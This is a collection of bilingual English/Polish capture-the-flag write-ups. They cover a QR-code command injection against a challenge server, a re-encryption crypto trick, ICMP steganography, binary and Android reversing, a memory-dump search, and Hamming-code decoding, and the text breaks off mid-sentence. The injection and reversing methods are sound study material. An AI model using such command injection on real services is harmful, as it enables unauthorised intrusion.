## Kiuar (pwn, 200p) telnet ctf.sharif.edu 12432 ###ENG[PL](#pl-version) First thing we receive in this task is request for proof of work - so we had to write a quick script calculating it for us.After submitting it, we receive some non-ASCII bytes and a message telling us we have 10s to reply. Saving those unknown bytes to file and checking it using `file` command, we find it's a zlib-compressed data: `Send yourQR code:`. Sending anything afterwards tells us that we need to send exactly 200 bytes - and if we do it, the message tells us thatthe input is not properly compressed. Finally, when we send zlib-compressed string "aaa" padded with zeros to 200 bytes,we receive `Sorry, no decode delegate for this image :|`. Googling this message tells us that it's a generic ImageMagickerror message - apparently we need to send an image. At this point we were prertty certain it has to be zlib-compressedimage file containing QR code. Sending QR with "aaa" text gives us:```Processing the received command...The output of your command is large, I only send 18 bytes of it :P Sorry, command not```So probably our text was executed as a command. Sending QR with `ls` confirms that - there was a `flag` file.We still had to work around limitation of command size (200 bytes limit for QR image) and output limit of 18 bytes.Finally, using `tail -c 40 flag` we were able to get the flag chunk by chunk. ###PL version Pierwsze co dostajemy po połączeniu się z serwerem, to prośba o `proof of work`. Napisaliśmy więc skrypt realizujący ją,po czym otrzymaliśmy trochę bajtów spoza ASCII i wiadomość, że mamy 10s na odpowiedź. Po zapisaniu tych nieznanych bajtów do pliku i sprawdzeniu ich poleceniem `file` dowiedzieliśmy się, że to daneskompresowane zlibem: `Send your QR code:`. Wysłanie czegokolwiek mówi nam, że należy wysłac maksymalnie 200 bajtów. Po wysłaniu takiej właśnie ilości danych,dowiadujemy się, że dane nie są poprawnie skompresowane. No to wysyłamy skompresowany zlibem tekst "aaa" z dorzuconymibajtami zerowymi na koniec, po czym otrzymujemy wiadomość `Sorry, no decode delegate for this image :|`. Wygooglanie tego tekstu mówi, że to zwykły błąd ImageMagick - w tym momencie domyśliliśmy się, że należy wysłaćskompresowany obrazek z QR. Wysyłamy więc QR z "aaa":```Processing the received command...The output of your command is large, I only send 18 bytes of it :P Sorry, command not```Tekst jest więc pewnie wykonywany jako komenda. Potwierdziliśmy to wysyłając QR z `ls` - wylistowaliśmy plik `flag`.Nadal trzeba było obejść ograniczenie wielkości komendy (200 bajtów na obrazek z QR) i na odpowiedź serwera (18bajtów). Ostatecznie, używając `tail -c 40 flag` udało nam się kawałek po kawałku wyciągnąć flagę.
## URE (Crypto, 100p) Universal ReEncryption ###ENG[PL](#pl-version) We have to change ciphertext in such way, that after decrypting plaintext is unchanged: ![](task.png) We need to think about what task authors really want from us - in mathematical terms. `r` and `s` are random numbers, so if we substitute them with another numbersplaintext will surely be unchanged. So if we change `(g^r, h^r, g^s, mh^s)` to `(g^x, h^x, g^y, mh^y)` (for any x != r, y != s) then task is solved. We tried few possibilities, but after not very long time we came to good substitution: r -> r+r s -> r+s Our solver demonstrating that substitution (basic algebra is enough to prove it right) ```pythondef solve(a, b, c, d, p): # a = g^r # b = h^r # c = g^s # d = m*g^xs return [x%p for x in [ a*a, # g^(r+r) b*b, # h^(r+r) a*c, # g^(r+s) d*b # m*h^(r+s) ]]``` And our solution a': 3287406693040037454338117703746186185132137914785835752950604845777415758360615360784432898128185782894436154048036406523549199332371675403330587908658389 b': 3106361558536896198315490627917020257039985078045091925325167930756012775219021778274538316287957153184501076513389822529518252243096913454042609623430979 c': 2705749471178411581710759303917406711797848509917528975018497036876024862091214580659339932929912633743841281275200381261759865873903109533343463983599973 d': 5373483039142295785146805049046423326555571326092245347871091138664843112902523040473342171017639501524961161720758693343930112103298610080325764680063048 ###PL version Naszym zadaniem jest zmiana ciphertextu tak, aby po zdeszyfrowaniu jego zawartośc (plaintext) się nie zmieniła: ![](task.png) Można się zastanowić czego dokładnie chcą od nas twórcy zadania w "matematycznych" słowach. `r` i `s` są liczbami losowymi, więc jeśli uda nam się je zamienić,otrzymamy jednocześnie rozwiązanie zadania. Tzn. jeśli bylibyśmy w stanie zamienić `(g^r, h^r, g^s, mh^s)` na `(g^x, h^x, g^y, mh^y)` (dla jakiegoś x != r, y != s) to mamy rozwiązanie zadania. Przy rozwiązaniu było trochę kombinowania, ale szybko wpadliśmy na podmianę którą można było łatwo wykonać: r -> r+r s -> r+s Nasz solver demonstrujący podmianę (podstawy algebry wystarczą żeby udowodnić poprawność rozwiązania): ```pythondef solve(a, b, c, d, p): # a = g^r # b = h^r # c = g^s # d = m*g^xs return [x%p for x in [ a*a, # g^(r+r) b*b, # h^(r+r) a*c, # g^(r+s) d*b # m*h^(r+s) ]]``` I rozwiązanie: a': 3287406693040037454338117703746186185132137914785835752950604845777415758360615360784432898128185782894436154048036406523549199332371675403330587908658389 b': 3106361558536896198315490627917020257039985078045091925325167930756012775219021778274538316287957153184501076513389822529518252243096913454042609623430979 c': 2705749471178411581710759303917406711797848509917528975018497036876024862091214580659339932929912633743841281275200381261759865873903109533343463983599973 d': 5373483039142295785146805049046423326555571326092245347871091138664843112902523040473342171017639501524961161720758693343930112103298610080325764680063048
# Hiding In Plain Sight. > Find out the secret key hidden in these packets! We got three pcap files containing only ICMP packets. Extracting data from it, we get gibberish data. After trying randomthings on it, we found that rotating each byte by 42 (binary Caesar cipher), we get ASCII text - mostly non-letters, but at least not binary. One of decoded files contained string `---this cannot be the key---`, so we knew we were on good track.One of those also had the string: ```ZWNobyAiZiIKZWNobyAibCIKZWNobyAiYSIKZWNobyAiZyIKZWNobyAieyIKZWNobyAibWQ1c3VtIgplY2hvICIoJ2ZsãYWcnKSIKZWNobyAifSIK```Base64 decoded, it gave:```echo "f"echo "l"echo "a"echo "g"echo "{"echo "md5sum"echo "('flag')"echo "}"```Flag is obvious now.
## Fake 150 (re, 150p) ### PL[ENG](#eng-version) Dostajemy [program](./fake) (elf), do analizy, i rozpoczynamy od zdekompilowania go: int main(int argc, char **argv) { v = 0; vv = (v >> 19); vvv = (v >> 63); if (argc > 1) { v = strtol(argv[1], 0, 10); } uint64_t va[5]; va[0] = 1019660215 * v; va[1] = 2676064947712729 * ((v >> 19) - 2837 * (((int64_t)((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * (((int64_t)((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * (((int64_t)((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63))); va[2] = (vv - 9643 * (((int64_t)((1958878557656183849 * vv) >> 64) >> 10) - vvv)) * 5785690976857702 * (vv - 167 * (((int64_t)((7069410902499468883 * vv) >> 64) >> 6) - vvv)); va[3] = (vv - 257 * (((int64_t)((9187483429707480961 * vv) >> 64) >> 7) - vvv)) * 668176625215826 * (vv - 55 * (((int64_t)((5366325548715505925 * vv) >> 64) >> 4) - vvv)); va[4] = (vv - 48271 * (((int64_t)((1565284823722614477 * vv) >> 64) >> 12) - vvv)) * 2503371776094 * (vv - 23 * (((int64_t)(vv + ((0x0B21642C8590B2165 * vv) >> 64)) >> 4) - vvv)); puts((const char *)va); return 0; } Jak widać wykonywane jest tutaj sporo operacji matematycznych, a potem wynikowa liczba wypisywana jako tekst na konsolę. Piszemy więc prosty skrypt w pythonie, który po prostu zbrutuje możliwe liczby i wypisze wynik. Założenie jest takie, że output zaczyna się od ASIS{ oraz zawiera tylko znaki 0..9a..f. Sprawdzamy więc bruteforcując wszystkie możliwe dane wejściowe dla pierwszej operacji.Wiemy że: X * M === 'ASIS{...' (mod 2^64) <=> X === 'ASIS{...' * M^-1 (mod 2^64). Odwrotność modularną M możmy łatwo wyliczyć za pomocą rozszerzonego algorytmu euklitesa, więc mamy 2^24 możliwości do sprawdzenia na trzy pozostałe bajty(to był błąd swoją drogą, wystarczyło sprawdzać charset 0..9a..f zamiast pełnego zakresu bajta, wtedy możliwoścy byłoby ledwo 4096).Następnie dla każdej z tych opcji sprawdzamy czy zgadza się kolejne równanie (czyli bajty 2676064947712729*... są w charsecie 0..9a..f), i otrzymujemy porządnie przefiltrowaną listę możliwych rozwiązań. import struct start = 'ASIS{xxx' def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def tou64(v): return struct.unpack('<q', struct.pack('<Q', v))[0] N = 2 ** 64 M = 1019660215 M1 = modinv(M, N) v = 1 vv = v * 1019660215 vvv = struct.pack('<Q', vv) # vv = 0x415349537bxxxxxx vvmin = 0x0000007b53495341 vvmax = 0xffffff7b53495341 i = vvmin while i <= vvmax: v = (i * M1) % N v = tou64(v) v2 = (2676064947712729 * ((v >> 19) - 2837 * ((((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * ((((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * ((((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63)))) % N v2 = struct.pack('<Q', v2) if all(c in '0123456789abcdef' for c in v2): print v i += 0x10000000000 Wyników wyszło dość dużo: E:\User\Code\RE\CTF\2015-10-10 asisfin\re_150_fake>python fake.py 890777067138092231 2980647405354257607 1536404797410020551 6863131814682463431 1636293229770214599 698726470626086087 4493585300778683591 25313971399 6583455638994848967 5139213031050611911 5239101463410805959 4301534704266677447 8096393534419274951 3602808258954562759 8742021264691203271 8841909697051397319 7904342937907268807 3260323581041872071 7205616492595154119 Można by wszystkie false positivy wyeliminować sprawdzając jeszcze wynik następnego działania, ale wyników jest na tyle mało że prościej przetestować je wszystkie masowo poleceniem: vagrant@precise64:/vagrant$ cat te.txt | xargs -l ./fake ASIS{▒7af556bd▒^9▒▒▒_P▒#▒e▒'▒▒▒f ASIS{+▒!7af556bd▒▒▒̀▒▒IK▒▒t'p▒R▒*un ASIS{▒▒"7af556bd▒▒VZ▒e▒H5▒▒▒▒;3 ASIS{8▒57af556bd`▒ӡ5▒e▒6▒▒▒T▒B▒▒▒ ASIS{▒▒<7af556bdଜRF@b▒nwR▒_ ASIS{X=7af556bd▒2▒▒▒▒▒▒▒\▒▒3X~▒CӤ ASIS{▒:Z7af556bd6▒▒▒▒?\L▒c▒6J ASIS{f5f7af556bd6973bd6f2687280a243d9} ASIS{▒6g7af556bdʇ▒Dj▒▒b▒.▒)-▒▒ ASIS{G@h7af556bd E▒:▒▒▒X▒&p[▒`\0▒V▒A ASIS{g▒7af556bdd▒;R▒b▒▒HI▒▒▒▒▒p▒1▒c▒▒ ASIS{▒▒▒7af556bdp▒DR>▒▒▒▒M▒f▒<dU▒\,▒ ASIS{#▒▒7af556bd▒5▒?`3▒▒9▒. 6w▒O▒▒D ASIS{▒7af556bd<^-▒]ro* ASIS{Њ▒7af556bd▒N▒▒>▒rhUp▒▒G▒)@▒▒▒%" mp▒#S3▒m▒▒s▒F▒bd▒{7' ASIS{▒▒7af556bd▒?▒▒$▒p ▒<▒[ ASIS{▒v▒7af556bd▒▒&▒y3|xRR▒0▒92▒?▒▒▒. ASIS{x▒▒7af556bd▒Z Oczywiście w oczy rzuca się poprawna flaga - ASIS{f5f7af556bd6973bd6f2687280a243d9}. I od mamy +150 punktów. ### ENG version We get a [binary](./fake) (elf), for analysis and we start by decompilation: int main(int argc, char **argv) { v = 0; vv = (v >> 19); vvv = (v >> 63); if (argc > 1) { v = strtol(argv[1], 0, 10); } uint64_t va[5]; va[0] = 1019660215 * v; va[1] = 2676064947712729 * ((v >> 19) - 2837 * (((int64_t)((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * (((int64_t)((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * (((int64_t)((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63))); va[2] = (vv - 9643 * (((int64_t)((1958878557656183849 * vv) >> 64) >> 10) - vvv)) * 5785690976857702 * (vv - 167 * (((int64_t)((7069410902499468883 * vv) >> 64) >> 6) - vvv)); va[3] = (vv - 257 * (((int64_t)((9187483429707480961 * vv) >> 64) >> 7) - vvv)) * 668176625215826 * (vv - 55 * (((int64_t)((5366325548715505925 * vv) >> 64) >> 4) - vvv)); va[4] = (vv - 48271 * (((int64_t)((1565284823722614477 * vv) >> 64) >> 12) - vvv)) * 2503371776094 * (vv - 23 * (((int64_t)(vv + ((0x0B21642C8590B2165 * vv) >> 64)) >> 4) - vvv)); puts((const char *)va); return 0; } As can be notices there are a lot of mathematical operations and the the result number is printed out to the console. So we write a simple python script, which will brute-force all possible numbers and print the result. The assumption is that the output starts with `ASIS{` and contains only 0..9a..f. So we test the results of multiplication by bruteforcing every possible input for first operation.We know that: X * M === 'ASIS{...' (mod 2^64) <=> X === 'ASIS{...' * M^-1 (mod 2^64). We can easily compute modular inverse of M using extended euclidean algorithm, so we have 2^24 possible values to test for remaining three bytes(by the way, checking entire byte range was an overkill, 0..9a..f had to be enough and would reduce search space to 4096).Then, for each checked input, we verify next equation (i.e. all bytes of 2676064947712729*... are in 0..9a..f range), and we get just a few possible solutions. import struct start = 'ASIS{xxx' def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def tou64(v): return struct.unpack('<q', struct.pack('<Q', v))[0] N = 2 ** 64 M = 1019660215 M1 = modinv(M, N) v = 1 vv = v * 1019660215 vvv = struct.pack('<Q', vv) # vv = 0x415349537bxxxxxx vvmin = 0x0000007b53495341 vvmax = 0xffffff7b53495341 i = vvmin while i <= vvmax: v = (i * M1) % N v = tou64(v) v2 = (2676064947712729 * ((v >> 19) - 2837 * ((((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * ((((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * ((((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63)))) % N v2 = struct.pack('<Q', v2) if all(c in '0123456789abcdef' for c in v2): print v i += 0x10000000000 There are quite some results: E:\User\Code\RE\CTF\2015-10-10 asisfin\re_150_fake>python fake.py 890777067138092231 2980647405354257607 1536404797410020551 6863131814682463431 1636293229770214599 698726470626086087 4493585300778683591 25313971399 6583455638994848967 5139213031050611911 5239101463410805959 4301534704266677447 8096393534419274951 3602808258954562759 8742021264691203271 8841909697051397319 7904342937907268807 3260323581041872071 7205616492595154119 We could add checking the thrid condition to the script so remove false-positives but since there are only a couple of those it's easier to simply run: vagrant@precise64:/vagrant$ cat te.txt | xargs -l ./fake ASIS{▒7af556bd▒^9▒▒▒_P▒#▒e▒'▒▒▒f ASIS{+▒!7af556bd▒▒▒̀▒▒IK▒▒t'p▒R▒*un ASIS{▒▒"7af556bd▒▒VZ▒e▒H5▒▒▒▒;3 ASIS{8▒57af556bd`▒ӡ5▒e▒6▒▒▒T▒B▒▒▒ ASIS{▒▒<7af556bdଜRF@b▒nwR▒_ ASIS{X=7af556bd▒2▒▒▒▒▒▒▒\▒▒3X~▒CӤ ASIS{▒:Z7af556bd6▒▒▒▒?\L▒c▒6J ASIS{f5f7af556bd6973bd6f2687280a243d9} ASIS{▒6g7af556bdʇ▒Dj▒▒b▒.▒)-▒▒ ASIS{G@h7af556bd E▒:▒▒▒X▒&p[▒`\0▒V▒A ASIS{g▒7af556bdd▒;R▒b▒▒HI▒▒▒▒▒p▒1▒c▒▒ ASIS{▒▒▒7af556bdp▒DR>▒▒▒▒M▒f▒<dU▒\,▒ ASIS{#▒▒7af556bd▒5▒?`3▒▒9▒. 6w▒O▒▒D ASIS{▒7af556bd<^-▒]ro* ASIS{Њ▒7af556bd▒N▒▒>▒rhUp▒▒G▒)@▒▒▒%" mp▒#S3▒m▒▒s▒F▒bd▒{7' ASIS{▒▒7af556bd▒?▒▒$▒p ▒<▒[ ASIS{▒v▒7af556bd▒▒&▒y3|xRR▒0▒92▒?▒▒▒. ASIS{x▒▒7af556bd▒Z And so we can see the real flag: ASIS{f5f7af556bd6973bd6f2687280a243d9}. And we have +150 points.
## Dumped (Forensics, 100p) In Windows Task Manager, I right clicked a process and selected "Create dump file". I'll give you the dump, but in return, give me the flag! Download RunMe.DMP.xz ###ENG[PL](#pl-version) Running `strings RunMe.DMP | grep Sharif` against this file gives us flag. ###PL version Wystarczy użyć `strings RunMe.DMP | grep Sharif`.
## Android (Reverse, 100p) > Find the Flag!!> [Download](Sharif_CTF.apk) ###ENG[PL](#pl-version) We download android application given to us by challenge creators.First think we do is packing it into java decompiler (http://www.javadecompilers.com/apk). Most of code is boring and uninteresting, but one of functions is clearly more interesting: ```javapublic void onClick(View view) { String str = new String(" "); str = this.f5a.f1b.getText().toString(); Log.v("EditText", this.f5a.f1b.getText().toString()); String str2 = new String(""); int processObjectArrayFromNative = this.f5a.processObjectArrayFromNative(str); int IsCorrect = this.f5a.IsCorrect(str); str = new StringBuilder(String.valueOf(this.f5a.f3d + processObjectArrayFromNative)).append(" ").toString(); try { MessageDigest instance = MessageDigest.getInstance("MD5"); instance.update(str.getBytes()); byte[] digest = instance.digest(); StringBuffer stringBuffer = new StringBuffer(); for (byte b : digest) { stringBuffer.append(Integer.toString((b & 255) + 256, 16).substring(1)); } if (IsCorrect == 1 && this.f5a.f4e != "unknown") { this.f5a.f2c.setText("Sharif_CTF(" + stringBuffer.toString() + ")"); } if (IsCorrect == 1 && this.f5a.f4e == "unknown") { this.f5a.f2c.setText("Just keep Trying :-)"); } if (IsCorrect == 0) { this.f5a.f2c.setText("Just keep Trying :-)"); } } catch (NoSuchAlgorithmException e) { e.printStackTrace(); }}``` As you can see, this function gets text from button and uses "IsCorrect" method to check input validity. If input is valid, flag is given to the user. Fortunately, IsCorrect is native function, so we have to disassemble ARM library to get our hands on the flag. [libadnjni.so](libadnjni.so) Function IsCorrect is very long, but most of it is not important. In fact, everything it does is calling strcmp on constant input.To be precise, input from user is compared to hardcoded string 'ef57f3fe3cf603c03890ee588878c0ec'. It's enough to enter this string into application as password and we get the flag. ###PL version Pobieramy androidową aplikację którą dają nam twórcy zadania. Pierwsze co robimy, to pakujemy ją do dekompilera javy (http://www.javadecompilers.com/apk). Wiekszość kodu to jak zwykle śmieci, ale znajdujemy jedną ciekawą funkcję: ```javapublic void onClick(View view) { String str = new String(" "); str = this.f5a.f1b.getText().toString(); Log.v("EditText", this.f5a.f1b.getText().toString()); String str2 = new String(""); int processObjectArrayFromNative = this.f5a.processObjectArrayFromNative(str); int IsCorrect = this.f5a.IsCorrect(str); str = new StringBuilder(String.valueOf(this.f5a.f3d + processObjectArrayFromNative)).append(" ").toString(); try { MessageDigest instance = MessageDigest.getInstance("MD5"); instance.update(str.getBytes()); byte[] digest = instance.digest(); StringBuffer stringBuffer = new StringBuffer(); for (byte b : digest) { stringBuffer.append(Integer.toString((b & 255) + 256, 16).substring(1)); } if (IsCorrect == 1 && this.f5a.f4e != "unknown") { this.f5a.f2c.setText("Sharif_CTF(" + stringBuffer.toString() + ")"); } if (IsCorrect == 1 && this.f5a.f4e == "unknown") { this.f5a.f2c.setText("Just keep Trying :-)"); } if (IsCorrect == 0) { this.f5a.f2c.setText("Just keep Trying :-)"); } } catch (NoSuchAlgorithmException e) { e.printStackTrace(); }}``` Jak widać, jest jest na czymś wywoływana funkcja IsCorrect, i jeśli wywołanie zakończy sie sukcesem, flaga jest przekazywana użytkownikowi. Niestety (albo na szczęście), IsCorrect jest funkcją natywną, więc żeby ją przeanalizować musimy disasemblować ARMową bibliotekę [libadnjni.so](libadnjni.so) Funkcja IsCorrect zawiera bardzo dużo kodu, ale większośc jest niepotrzebna. Tak naprawdę wywołuje tylko strcmp ze stałym napisem.Konkretnie input użytkownika jest porównywany z 'ef57f3fe3cf603c03890ee588878c0ec'. Wystarczy wprowadzić tą wartość w aplikacji androidowej, i dostajemy flagę. 100 punktów do przodu.
## Hail Zeus (Crypto, 300p) > Asking Hermes to gath'r intel on the foe, he recover'd the blueprint of their transmitt'r bef're> getting captur'd. It’s been ov'r a month of radio silence. but wait... all hail Zeus, as they restart'd> communication when he strok'd them with a lightning: ###ENG[PL](#pl-version) Although this challenge wa worth "only" 300 points, only one team managed to solve it (our team of course,that's why i can write this writeup right now). We are given long bit string representing "enemy communication", and we have to decode it: 11111010101010010101011010100011110101000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000010010110101111111100000111100101010111001010010111011100101111100 001101000111111000101100110110011001111001001011101011011110110110101010000101101 100001101010111101000010101000001100010111110000011111100100001000111111011010010 010010100101011100011000000111001101010000001111111111010000111110001011001010110 100001001100010111010101010000001111000011010101010101000011110000110101000111101 000011010010010101111100101011111001111010001001101010000000010011000010110000011 111000011001100011011001101011001111001001000110111100000101111000100100010100101 000111101011011110010010011011110010001000001011101010001000000001100011001110011 011100101100010001001001100100011111000011110000001100111011010000010100001100011 000101010110010000010001000011100100101100001111100100001010101111010010111010010 111100110110110111110100100101100011010000001000000000010000111010001010110111100 100100110000100110011011110000010110001111000001111100100111000111011000101010001 001111010011110010111000111100100000110000000110101110110001010000011010100001110 100100111001110110101111011011111110000100010000101100011101000111100001000001001 001100011001000000000100010111000100101101111100100111010000110101010111000010011 000100101000101101010110101010010110001100110010110100010010100011011000010010101 011100100101000001011001101101000011001010011110100110100000110111000010100010110 010011110010010010100010111001111011000010100100111110001011010111011101010001010 001101001110100100101001011010010001110110100011100011100000011011001100100100010 011000110110000010100100011000111010001011110101001001101010000001110101000011100 010110001000111101010000101011000001011101001101000001101000001100010001100100110 100100101001010011100000111000011111110000110101101110001011010100001101000011000 000110100101101000001011000110111001101001001100010011110010011100000110110100110 100011111110101111000001001000011010010001111001011001100101000101111000001101010 001100010001100000011000100100101101111110100111011101101101001011000101010010011 100010010110010100110011111100000000100001010000000111001010010001111010000001100 000001000101001111011101010001111100111101100010110100111100000111011001110100010 000010001010110100001100111001001101001001010001011101000011010000011100000001010 110101100001011010000110010010101000001111010101111101000101011111011000011100001 110000011110000011110110111100000011100000100100000111011001110010010010001010011 000011010000010001001001000001001011010011010011101000010111010010111010001100001 011000011010010010110101011000000010010100010111001011101101111010101111000010101 000011111000001000110111110101101101011001010011111000101101001011001000110100101 011001001111101110010000010101000011000000110101000111001000101010001111110011110 100010010100010011000010110000111010101101000101011101000001000010100000001101010 110111000100100000100100000011011010111001010110011001110100111110100001001101100 011001011010111001110110110010110101000100100110100101111110001010110010000011110 010111010011000110110100001101000000110010011110100110110010011000100111110100001 001001110010011111000100001000011100010111100001110101000111010001011101001001000 000000000001101100110010000100101000001100000111010000011000010010000010010100110 000000001000000000000001101110000000000011100000000001100101000000011111011000000 001010001000000000110010000000000010011000000010001000000000011010010000000001011 010000000010000... We are also given blueprint describing transmission method: ![](task.png) As you can see, ASCII message is encoded with hamming code, and then interleaved with helical scan matrix. Before we start reversing this transmission, we have to learn something about hamming codes and helical scan matrices. Hamming codes are family of error correcting, linear codes. They have advantage over simple checksums, because they can be used to repair simple single-bit flips,not only to detect them. In practice using hamming codes can be reduced to multiplying by appropiate matrices - generato generator matrix G and parity check matrix H. Every size of hamming code need different matrix, so we have to find (or compute, it's not that hard) appropiate matrix for our needs.In case of hamming(31, 26) matrix we need looks like this: ```pythonmat_g = [ [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], ] mat_h = [ [1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0], [1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1],]``` We also need some way to multiply matrices: ```pythondef mult(a, b): rows_a = len(a) cols_a = len(a[0]) rows_b = len(b) cols_b = len(b[0]) if cols_a != rows_b: print "cannot multiply the two matrices. Incorrect dimensions:", cols_a, rows_b return c = [[0 for row in range(cols_b)] for col in range(rows_a)] for i in range(rows_a): for j in range(cols_b): c[i][j] = sum(a[i][k] * b[k][j] for k in range(cols_a)) & 1 return c def transpose(mat): return [[mat[y][x] for y in range(len(mat))] for x in range(len(mat[0]))] assert transpose([[1, 2, 3], [4, 5, 6]]) == [[1, 4], [2, 5], [3, 6]]``` Decoding hamming codes is very easy - it's enough to ignore error correcting/error checking informations (if message is not damaged of course).We can detect if 